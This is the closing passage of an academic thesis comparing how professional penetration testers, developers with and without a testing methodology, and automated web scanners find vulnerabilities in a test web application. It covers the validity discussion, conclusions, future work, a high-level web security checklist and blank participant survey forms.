Coverage(x) = \begin{cases} 
0 & \text{if } x < 1 \\
1 & \text{if } x \geq 1
\end{cases}
\]

The Figure 5.9 shows that both professional penetration testers achieved almost maximal coverage. Subjects with the methodology achieved almost as good coverage as professional penetration testers, as shown in Figure 5.12. The coverage of subjects without the methodology and Web scanners varies and is lower compared to both professional penetration testers and subjects with the methodology, as shown in Figure 5.10 and Figure 5.11.

![Figure 5.9: FunBlog - coverage by professional penetration testers.](image)

Since too few data samples were collected, performing standard statistical tests to test the hypothesis would be misleading. If enough data samples would be collected, t-test would be used to test every hypothesis.

Validity evaluation

For this experiment, there are several levels of validity to consider. Internal validity is primarily focused on the validity of the actual experiment. External validity can be divided into the proper choice of subjects (students participating in the experiment, professional
penetration testers and automatic Web vulnerabilities scanners) and the timing of the experiment. Construct validity concerns the design of the experiment and also social factors. Conclusion validity deals with the relationship between the treatment and the outcome, in other words whether there is a statistical relationship [48].

The internal validity is threatened by how subjects were selected. All the participants are volunteers and thus are very motivated to learn and perform well at the task. Even though the selected participants have various backgrounds and skills, the majority has at least MSc degree. The subjects probably represent only a part of the whole software developer community. Another threat is a maturation problem. Each subject devoted different amount of time and effort. All subjects were instructed to continue testing until they do not know how to proceed further, however not all subjects could do so for various reasons, as
was revealed in the final survey.

Concerning the external threats, it is probable that similar results should be obtained when running the experiment within different groups of graduate students. It is probably not possible to generalize the results to the software developers population, although the results may serve as an indicator of how a software developer would perform when using the methodology.

The major problem regarding the validity of the conclusion is a small number of participants. The population is too small to show any statistical significance of the results. Therefore the results are more of a hint of how the actual results could look like. A more elaborate study should be performed as future work.

The construct validity within the experiment is unlikely to be a problem. Since there is only one object being tested, there might be a threat of mono-operation bias, i.e. the under-representation of the real Web applications. However, Web applications are similar in principle, and thus studied object should be representative enough and thus the mono-operation bias should not present a problem to the experiment. On the other hand, FunBlog contains an unusual number of vulnerabilities for a Web application. To prevent the mono-operation bias, it would be desirable to do the experiment with multiple Web applications tested by the same subjects.
Chapter 6

Summary, Conclusions and Future Work

In the past chapters, the most dangerous vulnerabilities that threaten today's Web were presented. In order for the Web systems to be secure, every Web application developer should know at least these vulnerabilities and be able to detect and prevent them. Companies need to realize that their Web application is often an invitation for the attacker.

This thesis hints that one cannot fully rely on the automatic Web scanning software. The best one can do is to let the professional penetration tester test the Web application regularly, on every change. It is not always possible, though. In that case it is still possible to provide actual software developers with the methodology. This thesis suggests such a methodology and the results of the experiment suggest that it is an effective alternative for the detection of the most dangerous Web vulnerabilities. Despite the fact that the professional penetration test is usually a lot more comprehensive, it may be expensive. Thus, teaching the software developers the methodology can be seen as a cheap alternative.

The final survey provided a valuable feedback for the methodology. Subjects were struggling mostly with CSRF and some would welcome more examples, but overall the methodology achieved a very positive feedback and subjects agreed that it was easy to understand and apply.

As for the research questions of this thesis:

- **RQ1: How much better or worse can software developers discover vulnerabilities when using the methodology in comparison to the professional penetration testers?**
  - Hypothesis: Professional penetration testers are able to find all or most of the vulnerabilities. Software developers when using the methodology can find as many vulnerabilities as professional penetration testers.
  - Conclusion: The results of the experiment, summarized in table 6.1, suggest that this hypothesis seems valid. Due to the time availability of both professional penetration testers, they were not trying to discover every vulnerability, but they covered almost all classes of vulnerabilities. Software developers performed

67
a little worse. The results support possibility to train software developers to perform as good as professional penetration testers. Both groups achieved quite stable results as shown in figure 5.8.

Table 6.1: Performance comparison.

<table>
<thead>
<tr>
<th>Group</th>
<th>Vulnerabilities discovered [%]</th>
<th>Vulnerabilities coverage [%]</th>
</tr>
</thead>
<tbody>
<tr>
<td>Professional penetration testers</td>
<td>64</td>
<td>94</td>
</tr>
<tr>
<td>Software developers with the methodology</td>
<td>46</td>
<td>84</td>
</tr>
<tr>
<td>Software developers without the methodology</td>
<td>17</td>
<td>34</td>
</tr>
<tr>
<td>Web scanners</td>
<td>26</td>
<td>30</td>
</tr>
</tbody>
</table>

- **RQ2: How much better or worse can software developers discover new vulnerabilities having the structured methodology compared to software developers testing the Web application just with common knowledge?**
  
  - Hypothesis: Software developers discover more vulnerabilities when using the methodology. Without the methodology the software developers will not discover any vulnerabilities.
  
  - Conclusion: The experiment results from table 6.1 suggest, that software developers discovered on average almost 1/2 of all vulnerabilities while covering almost 9/10 vulnerability classes when applying the methodology. On the other hand, even without the suggested methodology software developers were able to detect almost 1/4 of all vulnerabilities while covering only 1/3 of vulnerability classes. However without the methodology the performance varied a lot as revealed in figure 5.8. Those software developers without the suggested methodology that performed higher scores and have major impact on the average score already knew some bits of the methodology, as was discovered through the survey about the background and experience of the individuals (see appendix B). In order to properly answer this research question, also software developers with good understanding of Web application development and no prior penetration testing experience should be tested.

- **RQ3: How well do software developers when (not) using the methodology perform compared to the performance of Web scanners?**
  
  - Hypothesis: Software developers that use the methodology are able to find more vulnerabilities than Web scanners. Scanners will find more vulnerabilities than software developers not using the methodology.
Future work

– Conclusion: According to the experiment results in table 6.1, software developers with the knowledge of the methodology clearly outperform Web scanners. What is maybe surprising, is that software developers without the methodology performed almost equally as well as the Web scanners. But again, as was stated in conclusion for RQ2, software developers with good understanding of Web application development and no prior penetration testing experience should also be tested.

Using an automated Web vulnerability scanner might be a good idea if the site is too large for the manual penetration test. One should however realize against which threats a Web scanner will succeed and against which it will fail and it should be used with caution (see 3.1). It might be useful to prevent being compromised by the least skilled attackers, so called "script kiddies" and automated malware. Penetration testers should not rely on Web scanners results and should validate every detected vulnerability, if they choose to use it.

As an optimal way to perform penetration testing seems a combination of automation and manual elaboration to find vulnerabilities faster. First, the penetration tester should examine the application, gathering all possible attack points. Then it is possible to use tools that automatically try to detect vulnerabilities for these attack points. If there is a suspicion on a presence of a vulnerability, the tool should alert the penetration tester. The penetration tester than should manually evaluate the alert to avoid false positives. One such tool is a commercial Burp Suite\(^1\) that provides the penetration tester with these capabilities.

6.1 Future work

Proper statistical methods could not be applied, due to the amount of subjects participating in the experiment. In order to test every hypothesis properly, one should perform the experiment on a larger scale. Optimally, several Web applications should be tested instead of one and a lot more software developers with various background should participate. Further research should be done to see how much training is necessary in order to train software developers to be able to test Web applications as good as professional penetration testers. It would be also interesting to see if tweaking of the settings could make any difference on Web scanners performance.

As for the Web scanners, the detection mechanisms for the vulnerabilities other than SQL injection and XSS could be improved a lot. For instance, with CSRF they could check whether protection token is present in the forms, path traversal should be checked with dot-dot-slash input strings, comments in the source code should be harvested etc. Since the Web scanners were used in their default settings, tweaking of the settings should be applied to see if the results could be improved that way.

The experiment also revealed one interesting research direction. The attackers tend to have their own way of attacking the Web sites. It could be possible to gather these fingerprints, for example in the form of server’s logs and fingerprint the attacker. That way, it might also be possible to tell difference between automated and manual attack, provided

\(^1\)http://portswigger.net/burp/
that the automated attack performed by a malware of some kind has some clearly detectable pattern.
Bibliography


Appendix A

Certified Secure Basic Web Application Scan Checklist
Certified Secure Basic Web Application Scan Checklist

About

This checklist is made freely available by Certified Secure. For Certified Specialists an annotated version is available in the Portal. Certified Secure also provides training and certification based on this checklist, visit www.certifiedsecure.com or contact info@certifiedsecure.com for more information.

Scope

This checklist should be used as a guideline when remotely assessing the basic security of a web application. When this checklist is completed without incident, the Advanced Web Application Scan Checklist can be used to perform a more thorough security scan.

Usage

Every test on the checklist should be performed or explicitly marked as being not applicable. Once a test is completed the checklist should be updated with the appropriate result icon and an optional document cross reference. The filled-in checklist should not be delivered stand-alone but should be incorporated in a document specifying at least the results, scope and context of the performed tests.

License

This work is licensed under a Creative Commons Attribution-No Derivative Works 3.0 Netherlands License. The complete license text can be found online at http://creativecommons.org/licenses/by-nd/3.0/nl/. Contact Certified Secure if you want to receive a printed copy.

Result Icon Legend

<table>
<thead>
<tr>
<th>Icon</th>
<th>Explanation</th>
</tr>
</thead>
<tbody>
<tr>
<td>✔</td>
<td>Test was performed and results are okay</td>
</tr>
<tr>
<td>✗</td>
<td>Test was performed and results require attention</td>
</tr>
<tr>
<td>✅</td>
<td>Test was not applicable</td>
</tr>
<tr>
<td>#</td>
<td>Certified Secure Basic Web Application Scan Checklist</td>
</tr>
<tr>
<td>-----</td>
<td>------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>1.0</td>
<td>Authentication and Authorization</td>
</tr>
<tr>
<td>1.1</td>
<td>Check for client side authentication</td>
</tr>
<tr>
<td>1.2</td>
<td>Check for default and predictable accounts</td>
</tr>
<tr>
<td>1.3</td>
<td>Check for identifier based authorization</td>
</tr>
<tr>
<td>2.0</td>
<td>User Input</td>
</tr>
<tr>
<td>2.1</td>
<td>Check for filename injection / path traversal</td>
</tr>
<tr>
<td>2.2</td>
<td>Check for SQL injection</td>
</tr>
<tr>
<td>2.3</td>
<td>Check for cross site scripting</td>
</tr>
<tr>
<td>2.4</td>
<td>Check for system command injection</td>
</tr>
<tr>
<td>3.0</td>
<td>File Upload</td>
</tr>
<tr>
<td>3.1</td>
<td>Check for uploading of (dynamic) scripts</td>
</tr>
<tr>
<td>4.0</td>
<td>Sessions</td>
</tr>
<tr>
<td>4.1</td>
<td>Check for Cross Site Request Forgery</td>
</tr>
<tr>
<td>5.0</td>
<td>Miscellaneous</td>
</tr>
<tr>
<td>5.1</td>
<td>Check for application or setup specific problems</td>
</tr>
</tbody>
</table>
Appendix B

Entry survey
# Entry survey - Black-Box assessment of Web systems security

If you would like to participate in Web application security workshop, please fill-in the following information.

* Required

## General information
The first part of the survey is to get general understanding of your background.

<table>
<thead>
<tr>
<th><strong>Name and surname</strong> *</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>Email</strong> *</th>
</tr>
</thead>
<tbody>
<tr>
<td>For contact purposes</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>Sex</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Male</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>You are currently</strong> *</th>
</tr>
</thead>
<tbody>
<tr>
<td>Check all that applies.</td>
</tr>
<tr>
<td>- BsC student</td>
</tr>
<tr>
<td>- MsC student</td>
</tr>
<tr>
<td>- Working</td>
</tr>
<tr>
<td>- None of above</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>Work details</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>If you have a work experience somehow related to informatics, please provide it here.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>Study details</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Please fill in the university name and full name of your study programme. If you have studied more universities / programmes, please include all of them (if any).</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>Interests</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Please fill in only computer related interests (eg. security, algorithmics, gaming, 3D graphics,...)</td>
</tr>
</tbody>
</table>
Web development skills

In this section you will be asked about your experience and knowledge of Web application development and software development in general.

How strong is your knowledge about Web application programming in general? *

<table>
<thead>
<tr>
<th>Rating</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>I have never developed a single application</td>
</tr>
<tr>
<td>10</td>
<td>I am a professional Web application developer</td>
</tr>
</tbody>
</table>

In which programming languages are you able to develop? *

Knowledge of HTTP protocol *

<table>
<thead>
<tr>
<th>Rating</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Never heard of it.</td>
</tr>
<tr>
<td>10</td>
<td>I know it inside out.</td>
</tr>
</tbody>
</table>

Knowledge of HTML *

<table>
<thead>
<tr>
<th>Rating</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Never heard of it.</td>
</tr>
<tr>
<td>10</td>
<td>I know it inside out.</td>
</tr>
</tbody>
</table>

Knowledge of JavaScript *

<table>
<thead>
<tr>
<th>Rating</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Never heard of it.</td>
</tr>
<tr>
<td>10</td>
<td>I know it inside out.</td>
</tr>
</tbody>
</table>

Knowledge of how Web server works (Apache or IIS) *

<table>
<thead>
<tr>
<th>Rating</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Never heard of it.</td>
</tr>
<tr>
<td>10</td>
<td>I know it inside out.</td>
</tr>
</tbody>
</table>

Web vulnerabilities knowledge.

In this section you will be asked about previous experience with Web vulnerabilities.

My previous penetration testing / hacking experience *

<table>
<thead>
<tr>
<th>Rating</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>I have no idea how to do it.</td>
</tr>
<tr>
<td>10</td>
<td>I am a professional penetration tester / hacker.</td>
</tr>
</tbody>
</table>

Breaking (JavaScript) client side authentication. *

<table>
<thead>
<tr>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>I have never heard of it.</td>
</tr>
</tbody>
</table>

Username/Password guessing. *

<table>
<thead>
<tr>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>I have never heard of it.</td>
</tr>
<tr>
<td>Topic</td>
</tr>
<tr>
<td>------------------------------------------------------------</td>
</tr>
<tr>
<td>Breaking identifier based authorization (access control). *</td>
</tr>
<tr>
<td>Filename injection / path traversal *</td>
</tr>
<tr>
<td>SQL injection *</td>
</tr>
<tr>
<td>Cross site scripting *</td>
</tr>
<tr>
<td>Operating system command injection. *</td>
</tr>
<tr>
<td>File upload vulnerabilities. *</td>
</tr>
<tr>
<td>Breaking session mechanism. *</td>
</tr>
</tbody>
</table>

Submit
Appendix C

Entry survey - data
Appendix D

Final survey
Final survey - Black-Box assessment of Web systems security
* Required

Full name *

Email *

How many hours have you spent reading/learning the methodology? *
Approximately.

How many hours have you spent on the actual penetration testing? *
Approximately.

Name the most difficult part to understand.
Please provide a short description what was not too clear to you.

Have you run into any difficulties? If yes, what was the problem?
Please provide a short description what was not too clear to you.

Do you have the feeling that you tried everything you could from the methodology? If not, please provide a reason. *
The reason can be also you didn't have enough time and that you think you would need at least X more hours.
Do you have any ideas on any improvements - readability, technically, examples ...?